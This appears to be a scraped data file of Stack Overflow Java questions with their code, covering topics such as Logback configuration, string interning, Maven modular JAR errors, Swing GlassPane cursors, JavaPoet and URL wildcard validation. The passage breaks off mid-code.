awt.toolkit=sun.awt.windows.WToolkitfile.encoding=UTF-8file.encoding.pkg=sun.iofile.separator=\java.awt.graphicsenv=sun.awt.Win32GraphicsEnvironmentjava.awt.printerjob=sun.awt.windows.WPrinterJobjava.class.path=C : \DevWork\personal\java\projects\wip\SystemProperties\build\classesjava.class.version=51.0java.endorsed.dirs=C : \Program Files\Java\jdk1.7.0_51\jre\lib\endorsedjava.ext.dirs=C : \Program Files\Java\jdk1.7.0_51\jre\lib\ext ; C : \Windows\Sun\Java\lib\extjava.home=C : \Program Files\Java\jdk1.7.0_51\jrejava.io.tmpdir=C : \Users\shane\AppData\Local\Temp\java.runtime.name=Java ( TM ) SE Runtime Environmentjava.runtime.version=1.7.0_51-b13java.specification.name=Java Platform API Specificationjava.specification.vendor=Oracle Corporationjava.specification.version=1.7java.vendor=Oracle Corporationjava.vendor.url=http : //java.oracle.com/java.vendor.url.bug=http : //bugreport.sun.com/bugreport/java.version=1.7.0_51java.vm.info=mixed modejava.vm.name=Java HotSpot ( TM ) 64-Bit Server VMjava.vm.specification.name=Java Virtual Machine Specificationjava.vm.specification.vendor=Oracle Corporationjava.vm.specification.version=1.7java.vm.vendor=Oracle Corporationjava.vm.version=24.51-b03os.arch=amd64os.name=Windows 7os.version=6.1path.separator= ; sun.arch.data.model=64sun.cpu.endian=littlesun.cpu.isalist=amd64sun.desktop=windowssun.io.unicode.encoding=UnicodeLittlesun.java.command=systemproperties.SystemPropertiessun.java.launcher=SUN_STANDARDsun.jnu.encoding=Cp1252sun.management.compiler=HotSpot 64-Bit Tiered Compilerssun.os.patch.level=Service Pack 1user.country=AUuser.dir=C : \DevWork\personal\java\projects\wip\SystemPropertiesuser.home=C : \Users\shaneuser.language=enuser.name=shaneuser.script=user.timezone=user.variant= g2d.translate ( originX , originY ) ; g2d.scale ( scale , scale ) ; g2d.rotate ( Math.toRadians ( angle ) , 0 , 0 ) ; AffineTransform at = new AffineTransform ( ) ; at.translate ( originX , originY ) ; at.scale ( scale , scale ) ; at.rotate ( Math.toRadians ( angle ) , 0 , 0 ) ; g2d.setTransform ( at ) ; Rectangle2D rect = new Rectangle2D.Double ( xOffset , yOffset , rectWidth , rectHeight ) ; Shape shape = at.createTransformedShape ( rect ) ; System.out.println ( rect.getBounds ( ) ) ; System.out.println ( shape.getBounds ( ) ) ;",Graphics Context misaligned on first paint +Java,"I am trying to use variable substitution for the scanPeriod property such that i can have multiple environment files.It seems like Logback is unable to recognize variable substitution for certain properties.For example the scanPeriod property : Logback configuration : Specified to take default value of 10 minutes of logback property is not defined.Logback properties : This property should override the default configuration of 10 minutes.Logback error : According to the Duration API , the duration format is correct.This is using : slf4j 1.6.2logback classis 0.9.30logback core 0.9.30EDIT : Filed a Jira report for this - http : //jira.qos.ch/browse/LBCLASSIC-307UPDATE : 28 Dec 2011 This is marked as a Major , and looked at by Ceki Gulcu . : DUPDATE:12 Jun 2012 Still no updates . Left comment in JIRA.UPDATE:12 July 2012 Accepted as a valid bug . To fix in 1.0.7",< configuration scan= '' $ { scan : -true } '' scanPeriod= '' $ { scan-interval : -10 minutes } '' > scan=truescan-interval=30 seconds java.lang.IllegalArgumentException : String value [ $ { scan-interval : -10 minutes } ] is not in the expected format .,Logback is unable to recognize variable substitution for scanPeriod properties +Java,"Please consider the following class : The example is supposed to show that multiple copies of the empty string may exist in memory . I still have an old OpenJDK 11 where the program outputs false as expected . Under OpenJDK 15 , the program outputs true . The generated bytecode for the class files looks similar ( even thought they differ in register values ) : Java 11 : Java 15 : I tried to exclude static compiler optimizations by reading `` A '' from stdin but this does not change the outcome . I have tried to disable the JIT via -Djava.compiler=NONE and played around with adjusting the string table size via -XX : StringTableSize=100000 . I now have the following questions : Can someone reproduce the issue ( i.e . did I do it correctly ? I can provide the class files if that helps ) How do I find out the exact reason for the different behaviour ? What ( in your opinion ) is the source for the different behaviour ? I think just strategies to approach how to find the reason for the behaviour that do n't answer the question might also be interesting .",class Eq { public static void main ( String [ ] args ) { System.out.println ( `` '' == `` . `` .substring ( 1 ) ) ; } } public static void main ( java.lang.String [ ] ) ; Code : 0 : getstatic # 7 // Field java/lang/System.out : Ljava/io/PrintStream ; 3 : ldc # 13 // String 5 : ldc # 15 // String . 7 : iconst_1 8 : invokevirtual # 17 // Method java/lang/String.substring : ( I ) Ljava/lang/String ; 11 : if_acmpne 18 14 : iconst_1 15 : goto 19 18 : iconst_0 19 : invokevirtual # 23 // Method java/io/PrintStream.println : ( Z ) V 22 : return public static void main ( java.lang.String [ ] ) ; Code : 0 : getstatic # 2 // Field java/lang/System.out : Ljava/io/PrintStream ; 3 : ldc # 3 // String 5 : ldc # 4 // String . 7 : iconst_1 8 : invokevirtual # 5 // Method java/lang/String.substring : ( I ) Ljava/lang/String ; 11 : if_acmpne 18 14 : iconst_1 15 : goto 19 18 : iconst_0 19 : invokevirtual # 6 // Method java/io/PrintStream.println : ( Z ) V 22 : return,Why does a Java string comparision behave different in Java 15 and Java 11 ? +Java,I 've been reading Java for the Dummies and I came across this error : This is the code : This is the .txt file : It is taken right from the book 's website so I think that there must be no error .,"Exception in thread `` main '' java.util.InputMismatchException at java.util.Scanner.throwFor ( Unknown Source ) at java.util.Scanner.next ( Unknown Source ) at java.util.Scanner.nextDouble ( Unknown Source ) at TeamFrame. < init > ( TeamFrame.java:18 ) at ShowTeamFrame.main ( ShowTeamFrame.java:7 ) import java.text.DecimalFormat ; public class Player { private String name ; private double average ; public Player ( String name , double average ) { this.name=name ; this.average=average ; } public String getName ( ) { return name ; } public double getAverage ( ) { return average ; } public String getAverageString ( ) { DecimalFormat decFormat = new DecimalFormat ( ) ; decFormat.setMaximumIntegerDigits ( 0 ) ; decFormat.setMaximumFractionDigits ( 3 ) ; decFormat.setMinimumFractionDigits ( 3 ) ; return decFormat.format ( average ) ; } } import java.util.Scanner ; import java.io.File ; import java.io.IOException ; import javax.swing.JFrame ; import javax.swing.JLabel ; import java.awt.GridLayout ; @ SuppressWarnings ( `` serial '' ) public class TeamFrame extends JFrame { public TeamFrame ( ) throws IOException { Player player ; Scanner hankeesData = new Scanner ( new File ( `` d : /eclipse/Workplace/10-02 book/Hankees.txt '' ) ) ; for ( int num = 1 ; num < = 9 ; num++ ) { player = new Player ( hankeesData.nextLine ( ) , hankeesData.nextDouble ( ) ) ; hankeesData.nextLine ( ) ; addPlayerInfo ( player ) ; } setTitle ( `` The Hankees '' ) ; setLayout ( new GridLayout ( 9 , 2 , 20 , 3 ) ) ; setDefaultCloseOperation ( EXIT_ON_CLOSE ) ; pack ( ) ; setVisible ( true ) ; hankeesData.close ( ) ; } void addPlayerInfo ( Player player ) { add ( new JLabel ( `` `` + player.getName ( ) ) ) ; add ( new JLabel ( player.getAverageString ( ) ) ) ; } } import java.io.IOException ; class ShowTeamFrame { public static void main ( String args [ ] ) throws IOException { new TeamFrame ( ) ; } } Barry Burd.101Harriet Ritter.200Weelie J. Katz.030Harry `` The Crazyman '' Spoonswagler.124Filicia `` Fishy '' Katz.075Mia , Just `` Mia '' .111Jeremy Flooflong Jones.102I . M. D'Arthur.001Hugh R. DaReader.212",exception in thread main - java.util.InputMismatchException +Java,"I am working on a webapplication and i have a requirment to generate log files at run time for my impex process.here is the use casei am validating an XML file and validation error is being handled by custom Error handler.This error hanlde will be passed to the underlying validator ( Jaxb 2.x validator ) , so i have to create the log file when the instance of this error hanlder is being created.we are using log4j as logging APIhere is the code to create log file at run timei am creating the log file inside XMLErrorHandler constructor since this is the only point i have control here is the code for the log file creationeverything is working fine and file is being created correctly as well being written by the logger to the respective place.but if i restart my server real problem starts and logger start appending the log content not only to its current log file but also for all file being created for this process while server is running . Here is the detailslets suppose i have 3 log ( A , B , C ) files already at the location with 3 lines in each log file and C was the latest file created in the process . so when i restart my server ( By resrarting i mean i stopped tomcat from the console ) it some how appending data in to previos all log files in this fashinC has still 3 linesB has now 6 linesA has now 9 linesit seems that the appender i hace created is still open or have refrence , not sure what exactly going on.any help in this regard will be helpfull .","XMLErrorHandler < Object > errorHandler=new XMLErrorHandler < Object > ( logFileLocation ) ; logFileName=errorHandler.getLogFileName ( ) ; validator.setErrorHandler ( errorHandler ) ; validator.validate ( source ) ; FileAppender appender ; try { appender = new FileAppender ( layout , sb.toString ( ) , false ) ; log.addAppender ( appender ) ; log.setAdditivity ( false ) ; log.setLevel ( Level.WARN ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; }",Log4j FileAppender issue in Tomcat server +Java,"I 've implemented in app billing in an app , and now I want to secure it a little more.Reading the developer material it states : In addition to running an obfuscation program , we recommend that you use the following techniques to obfuscate your in-app billing code.Inline methods into other methods.Construct strings on the fly instead of defining them as constants.Use Java reflection to call methods.http : //developer.android.com/guide/market/billing/billing_best_practices.htmlObfuscation - fine I can do that = proguardInline methods into other methods - is this saying once my code is complete , get rid of much OO as I can and put all my code in as many lines as I can ( for the billing part of my app ) in one method ? Does this include inlining classes ? In the android example they have a constants class , would I inline all these ? Construct strings on the fly - yes so move all class constant variables in line - fine proguard should cover thisUse Java Reflection - this is my main question . Should I invoke all my methods instead of calling them ? To save myself some effort could I do this : I could then do things like this : Is this good security , or is it just code bloat and making my app undebuggable for genuine user issues ? Thanks .","private static Object invokeMethod ( String name , Class < ? > [ ] params , Object [ ] args ) { try { return MySpecificClass.class.getMethod ( name , params ) .invoke ( null , args ) ; } catch ( IllegalArgumentException e ) { // Should never happen in my code , ignore and cancel in app charge } catch ( SecurityException e ) { // Should never happen in my code , ignore and cancel in app charge } catch ( IllegalAccessException e ) { // Should never happen in my code , ignore and cancel in app charge } catch ( InvocationTargetException e ) { // Should never happen in my code , ignore and cancel in app charge } catch ( NoSuchMethodException e ) { // Should never happen in my code , ignore and cancel in app charge } return null ; } private static boolean someMethod ( ) { return true ; // just an example } params = new Class < ? > [ 0 ] ; if ( ( Boolean ) invokeMethod ( `` someMethod '' , params , null ) ) { // Do something }",InApp Billing Security and Remote Method Invocation +Java,"Is there anyway ( a workaround ) to define type synonyms in Java , similar to the following definition in Scala ? Though it might not be exactly the same , I was thinking of the following code ( I replaced List with ArrayList , since List is an interface in Java ) : Is there any other way to achieve type synonym mechanism in java ?",type Row = List [ Int ] ; public class Row extends ArrayList < Integer > { },Type synonyms in java +Java,Upon running the command - mvn clean -Dmaven.test.skip=true package -X I am getting following error.Here is my pom.xml for my-module-one moduleHere is pom.xml for parentP.S . Running the application directly using mvn spring-boot : run works fine.EDITThere is one more line that comes up during the packaging of first module,"[ ERROR ] Failed to execute goal org.apache.maven.plugins : maven-jar-plugin:3.1.2 : jar ( default-jar ) on project my-module-one : Error assembling JAR : Could not create modular JAR file . The JDK jar tool exited with 1 - > [ Help 1 ] org.apache.maven.lifecycle.LifecycleExecutionException : Failed to execute goal org.apache.maven.plugins : maven-jar-plugin:3.1.2 : jar ( default-jar ) on project my-module-one : Error assembling JAR at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:215 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:156 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:148 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:117 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:81 ) at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build ( SingleThreadedBuilder.java:56 ) at org.apache.maven.lifecycle.internal.LifecycleStarter.execute ( LifecycleStarter.java:128 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:305 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:192 ) at org.apache.maven.DefaultMaven.execute ( DefaultMaven.java:105 ) at org.apache.maven.cli.MavenCli.execute ( MavenCli.java:956 ) at org.apache.maven.cli.MavenCli.doMain ( MavenCli.java:288 ) at org.apache.maven.cli.MavenCli.main ( MavenCli.java:192 ) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:566 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced ( Launcher.java:282 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launch ( Launcher.java:225 ) at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode ( Launcher.java:406 ) at org.codehaus.plexus.classworlds.launcher.Launcher.main ( Launcher.java:347 ) Caused by : org.apache.maven.plugin.MojoExecutionException : Error assembling JAR at org.apache.maven.plugins.jar.AbstractJarMojo.createArchive ( AbstractJarMojo.java:269 ) at org.apache.maven.plugins.jar.AbstractJarMojo.execute ( AbstractJarMojo.java:293 ) at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo ( DefaultBuildPluginManager.java:137 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:210 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:156 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:148 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:117 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:81 ) at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build ( SingleThreadedBuilder.java:56 ) at org.apache.maven.lifecycle.internal.LifecycleStarter.execute ( LifecycleStarter.java:128 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:305 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:192 ) at org.apache.maven.DefaultMaven.execute ( DefaultMaven.java:105 ) at org.apache.maven.cli.MavenCli.execute ( MavenCli.java:956 ) at org.apache.maven.cli.MavenCli.doMain ( MavenCli.java:288 ) at org.apache.maven.cli.MavenCli.main ( MavenCli.java:192 ) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:566 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced ( Launcher.java:282 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launch ( Launcher.java:225 ) at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode ( Launcher.java:406 ) at org.codehaus.plexus.classworlds.launcher.Launcher.main ( Launcher.java:347 ) Caused by : org.codehaus.plexus.archiver.ArchiverException : Could not create modular JAR file . The JDK jar tool exited with 1 at org.codehaus.plexus.archiver.jar.JarToolModularJarArchiver.postCreateArchive ( JarToolModularJarArchiver.java:123 ) at org.codehaus.plexus.archiver.AbstractArchiver.createArchive ( AbstractArchiver.java:1013 ) at org.apache.maven.archiver.MavenArchiver.createArchive ( MavenArchiver.java:669 ) at org.apache.maven.plugins.jar.AbstractJarMojo.createArchive ( AbstractJarMojo.java:262 ) at org.apache.maven.plugins.jar.AbstractJarMojo.execute ( AbstractJarMojo.java:293 ) at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo ( DefaultBuildPluginManager.java:137 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:210 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:156 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:148 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:117 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:81 ) at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build ( SingleThreadedBuilder.java:56 ) at org.apache.maven.lifecycle.internal.LifecycleStarter.execute ( LifecycleStarter.java:128 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:305 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:192 ) at org.apache.maven.DefaultMaven.execute ( DefaultMaven.java:105 ) at org.apache.maven.cli.MavenCli.execute ( MavenCli.java:956 ) at org.apache.maven.cli.MavenCli.doMain ( MavenCli.java:288 ) at org.apache.maven.cli.MavenCli.main ( MavenCli.java:192 ) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at jdk.internal.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:566 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced ( Launcher.java:282 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launch ( Launcher.java:225 ) at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode ( Launcher.java:406 ) at org.codehaus.plexus.classworlds.launcher.Launcher.main ( Launcher.java:347 ) [ ERROR ] [ ERROR ] [ ERROR ] For more information about the errors and possible solutions , please read the following articles : [ ERROR ] [ Help 1 ] http : //cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException [ ERROR ] [ ERROR ] After correcting the problems , you can resume the build with the command [ ERROR ] mvn < goals > -rf : my-module-one < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 https : //maven.apache.org/xsd/maven-4.0.0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < artifactId > my-module-one < /artifactId > < packaging > jar < /packaging > < parent > < groupId > com.myparent < /groupId > < artifactId > my-parent < /artifactId > < version > 0.1 < /version > < /parent > < dependencies > < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-web < /artifactId > < /dependency > < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-test < /artifactId > < scope > test < /scope > < /dependency > < /dependencies > < /project > < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 https : //maven.apache.org/xsd/maven-4.0.0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < groupId > com.myparent < /groupId > < artifactId > my-parent < /artifactId > < version > 0.1 < /version > < packaging > pom < /packaging > < parent > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-parent < /artifactId > < version > 2.1.5.RELEASE < /version > < relativePath/ > < ! -- lookup parent from repository -- > < /parent > < name > My App < /name > < properties > < project.build.sourceEncoding > UTF-8 < /project.build.sourceEncoding > < java.version > 11 < /java.version > < lombok.version > 1.18.8 < /lombok.version > < rest.assured.version > 4.0.0 < /rest.assured.version > < maven.compiler.version > 3.8.1 < /maven.compiler.version > < spring-loaded.version > 1.2.8.RELEASE < /spring-loaded.version > < start-class > com.myparent.main.Main < /start-class > < /properties > < modules > < module > module-one < /module > < module > module-two < /module > < module > main < /module > < /modules > < dependencies > < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-data-jpa < /artifactId > < /dependency > < dependency > < groupId > org.postgresql < /groupId > < artifactId > postgresql < /artifactId > < /dependency > < dependency > < groupId > org.projectlombok < /groupId > < artifactId > lombok < /artifactId > < version > $ { lombok.version } < /version > < scope > provided < /scope > < /dependency > < dependency > < groupId > io.rest-assured < /groupId > < artifactId > rest-assured < /artifactId > < version > $ { rest.assured.version } < /version > < scope > test < /scope > < /dependency > < /dependencies > < build > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-compiler-plugin < /artifactId > < version > $ { maven.compiler.version } < /version > < configuration > < source > $ { java.version } < /source > < target > $ { java.version } < /target > < annotationProcessorPaths > < path > < groupId > org.projectlombok < /groupId > < artifactId > lombok < /artifactId > < version > $ { lombok.version } < /version > < /path > < /annotationProcessorPaths > < /configuration > < /plugin > < plugin > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-maven-plugin < /artifactId > < configuration > < skip > true < /skip > < /configuration > < dependencies > < dependency > < groupId > org.springframework < /groupId > < artifactId > springloaded < /artifactId > < version > $ { spring-loaded.version } < /version > < /dependency > < /dependencies > < /plugin > < /plugins > < /build > < /project > jar : Package com.myparent.main missing from ModulePackages class file attribute","Spring Boot 2.1.5 Java 11 Modules , Error assembling JAR : Could not create modular JAR file . The JDK jar tool exited with 1 - > [ Help 1 ]" +Java,I 'm running an example to understand the behavior of Comparator in Java.The output is Comparing : : Sony AND : Samsung Comparing : : Panasonic AND : Sony Comparing : : Panasonic AND : Sony Comparing : : Panasonic AND : Samsung Panasonic Samsung SonyWhy is it comparing two Objects Panasonic and Sony 2 times consecutively ? ? I do n't find it is required to do that .,"import java.util.ArrayList ; import java.util.Collections ; import java.util.Comparator ; class HDTV { private int size ; private String brand ; public HDTV ( int size , String brand ) { this.size = size ; this.brand = brand ; } public int getSize ( ) { return size ; } public void setSize ( int size ) { this.size = size ; } public String getBrand ( ) { return brand ; } public void setBrand ( String brand ) { this.brand = brand ; } } class SizeComparator implements Comparator < HDTV > { @ Override public int compare ( HDTV tv1 , HDTV tv2 ) { int tv1Size = tv1.getSize ( ) ; int tv2Size = tv2.getSize ( ) ; System.out.println ( `` Comparing : : `` +tv1.getBrand ( ) + '' AND : `` +tv2.getBrand ( ) ) ; if ( tv1Size > tv2Size ) { return 1 ; } else if ( tv1Size < tv2Size ) { return -1 ; } else { return 0 ; } } } public class HelloWorld { public static void main ( String [ ] args ) { HDTV tv1 = new HDTV ( 55 , `` Samsung '' ) ; HDTV tv2 = new HDTV ( 60 , `` Sony '' ) ; HDTV tv3 = new HDTV ( 42 , `` Panasonic '' ) ; ArrayList < HDTV > al = new ArrayList < HDTV > ( ) ; al.add ( tv1 ) ; al.add ( tv2 ) ; al.add ( tv3 ) ; Collections.sort ( al , new SizeComparator ( ) ) ; for ( HDTV a : al ) { System.out.println ( a.getBrand ( ) ) ; } } }",Why does Collections.sort call Comparator twice with the same arguments ? +Java,"This is a debate I was having with one of my friends : What would be the fastest way of making a valiation method that checks if the given string has one of the non-allowed charactersMethod I : simpleMethod II : Exploiting Map 's O ( 1 ) The method I is actually N2 but as good as N when invalidChars are less in number . What should be preferred when Case I : There are lots of invalid chars , Case II : only few invalid chars ? Note : I 'm not looking for any inbuilt java solutions but , just the algorithm to filter few ( not all ) non-text characters","char [ ] invalidChars = `` ! @ # $ % ^ ... `` .toCharArray ( ) ; for ( int i = 0 ; i < myString.length ( ) ; i++ ) { char ch = myString.charAt ( i ) ; for ( int j = 0 ; j < invalidChars.length ; j++ ) { if ( invalidChars [ j ] == ch ) { return false ; } } } Map < String , String > map = new HashMap < String , String > ( ) ; map.put ( `` ! `` , null ) ; map.put ( `` @ '' , null ) ; map.put ( `` # '' , null ) ; map.put ( `` $ '' , null ) ; map.put ( `` ^ '' , null ) ; ... for ( int i = 0 ; i < labels.length ( ) ; i++ ) { char ch = labels.charAt ( i ) ; if ( map.containsKey ( ch ) ) { return false ; } return true ; }",Fastest algo for searching set of characters in given string +Java,"Possible Duplicate : Java Generics In Eclipse , I am given warnings for using 'rawtypes ' and one of it 's fixes is to add < ? > . For example : What does this < ? > actually mean ?",Class parameter = String.class ; //Eclipse would suggest a fix by converting to the following : Class < ? > parameter = String.class ;,What does < ? > stand for in Java ? +Java,"I have a JTabbedPane with some tabs and a lot of unused extra space next to the tabs . So I 'm trying to use it and place some buttons there ( like in Eclipse ) . I put the buttons on a GlassPane : This works , and I still can click through on the other elements of my gui ( most search results I found are about how to prevent this ) . The only problem so far is that the mouse pointer does n't change to that double-ended horizontal arrow when it hovers over the bar of a JSplitPane . How can I get this behaviour back ? EDITI found that no mouse changing events from any component under the glass pane are shown . Those components would change the mouse cursor to a hand cursor , zoom lenses and others . None of these mouse pointer changes have an effect any more . I guess this is because with the glass pane , the mouse pointer change needs to be made to the glass pane , but I do n't want to do all the mouse pointer changing manually .",JPanel glasspane = getPanelWithButtons ( ) ; // panel with FlowLayout.RIGHT frame.setGlassPane ( glasspane ) ; glasspane.setOpaque ( false ) ; glasspane.setVisible ( true ) ;,Swing : GlassPane prevents mouse pointer from changing +Java,"Say I have an Enum as follows : And then I have a POJO which has this Enum as one of its fields : Now , should I do a switch on MyPojo.getMyEnum ( ) , I do not need to import the Enum directly into my class : I was just wondering why this is ? How does Java resolve the Enum values if it does n't import the Enum directly ?","package stackoverflow.models ; public enum MyEnum { VALUE_1 , VALUE_2 ; } package stackoverflow.models ; public class MyPojo { private MyEnum myEnum ; public MyEnum getMyEnum ( ) { return myEnum ; } public void setMyEnum ( MyEnum myEnum ) { this.myEnum = myEnum ; } } package stackoverflow.classes ; import stackoverflow.models.MyPojo ; public class MyClass { public static void main ( final String ... args ) { final MyPojo pojo = new MyPojo ( ) ; switch ( pojo.getMyEnum ( ) ) { case VALUE_1 : break ; case VALUE_2 : break ; default : break ; } } }",Switch on Enum does not import class +Java,"I have got the following as the code template for System.out.println in Eclipse I was under the impression that I could write a text , select it , enter ctrl+space , and then write sop - and Eclipse will write the proper line for me . But this is not happening . Can anyone help me understand the way $ { word_selection } is supposed to work ?",System.out.println ( $ { word_selection } $ { } ) ; $ { cursor },Eclipse | code template for System.out.println ( ) +Java,I 'm working on a annotation processor written in java . I 'm using JavaPoet to generate some lines of code . I have to generate a 'switch ' statement . Now i 'm using the following code : to generate the following code : Is it the only way to generate a switch statement with javapoet or is there a better way ( using beginControlFlow ) to generate the same code ?,"MethodSpec.Builder methodBuilder = MethodSpec.methodBuilder ( `` parseOnXml '' ) .addAnnotation ( Override.class ) .addModifiers ( Modifier.PUBLIC ) .addParameter ( typeName ( XmlBinderContext.class ) , `` context '' ) .addParameter ( typeName ( XmlWrapperParser.class ) , `` wrapper '' ) .addParameter ( typeName ( Integer.TYPE ) , `` currentEventType '' ) .addJavadoc ( `` create new object instance\n '' ) .returns ( typeName ( item.getElement ( ) ) ) ; ... methodBuilder.beginControlFlow ( `` switch ( eventType ) '' ) ; methodBuilder.addCode ( `` case $ T.START_ELEMENT : \n '' , XMLEvent.class ) ; methodBuilder.addStatement ( `` break '' ) ; methodBuilder.addCode ( `` case $ T.END_ELEMENT : \n '' , XMLEvent.class ) ; methodBuilder.addStatement ( `` break '' ) ; methodBuilder.addCode ( `` case $ T.CDATA : \n '' , XMLEvent.class ) ; methodBuilder.addCode ( `` case $ T.CHARACTERS : \n '' , XMLEvent.class ) ; methodBuilder.addStatement ( `` break '' ) ; methodBuilder.addCode ( `` default : \n '' ) ; methodBuilder.addStatement ( `` break '' ) ; methodBuilder.endControlFlow ( ) ; switch ( eventType ) { case XMLEvent.START_ELEMENT : break ; case XMLEvent.END_ELEMENT : break ; case XMLEvent.CDATA : case XMLEvent.CHARACTERS : break ; default : break ; }",Generation of switch statement with JavaPoet +Java,"This exercise comes from Horstmann 's book Core Java for the impatient : Write a program that demonstrates the date and time formatting styles in [ ... ] Thailand ( with Thai digits ) .I tried to solve the exerciese with the following snippet : The problem is that while the name of month is given properly in Thai ( at least I think so , since I do n't know Thai ) , the numbers are still formatted with Arabic numerals , the output is as follows : 3 ก.ย . 2017 , 22:42:16I tried different language tags ( `` th-TH '' , `` th-TH-TH '' , `` th-TH-u-nu-thai '' ) to no avail . What should I change to make the program behave as desired ? I use JDK 1.8.0_131 on Windows 10 64 bit .",Locale locale = Locale.forLanguageTag ( `` th-TH-TH '' ) ; LocalDateTime dateTime = LocalDateTime.now ( ) ; DateTimeFormatter formatter = DateTimeFormatter.ofLocalizedDateTime ( FormatStyle.MEDIUM ) ; System.out.println ( formatter.withLocale ( locale ) .format ( dateTime ) ) ;,Display date time in Java with Thai numerals +Java,"Was looking in the source for ByteArrayOutputStream , and I saw this function : Where is this syntax documented ? I mean the [ ] in front of the function . Is this the same as in declaring a regular array where the bracket can go after the name of the array or before , but in this case , the bracket can go after the function name ? VsEdit : 2018-05-22I found even more uses of this crazy syntax here : 10 things you did n't know about Java # 3 is where they make mention of all the ways the above syntax can be exploited","public synchronized byte toByteArray ( ) [ ] { return Arrays.copyOf ( buf , count ) ; } String [ ] args ; String args [ ] ;",Java function definition with brackets syntax +Java,"I want to check validate URL allowing wildcard in java.I found some nice examples about validating URL in java ( REGEX , urlValidator ) , but those are n't providing the wildcard character.Here 's what I 'm practicing : CODE ( urlValidator ) OUTPUT true true falseCODE ( regex ) RESULT http : //www.google.com http : //google.com/What I want to do is all the above URL is valid.How should I approach this problem to solve ? Any comment would be appreciated . Thanks.UPDATESI got rid of the scheme part and added |* and |\ . * to the domain part following the answer ( |* and | . * gives me a error - invalid escape sequence ( valid ones are \b \t \n \f \r \ '' \ ' ) - but I 'm not sure the changes are right ) . Now it does n't allow `` google.com '' ; but allow others ( `` www.google.com '' , `` google.com '' , `` .google.com '' , `` .com '' ) TEST START [ X ] https : //www.google.com [ O ] www.google.com [ O ] google.com [ O ] *.google.com [ O ] *.com DONENeed any help . Thanks .","public void urlValidiTest ( ) { System.out.println ( this.urlCheck ( `` https : //www.google.com '' ) ) ; System.out.println ( this.urlCheck ( `` https : //google.com '' ) ) ; System.out.println ( this.urlCheck ( `` *.com '' ) ) ; } public boolean urlCheck 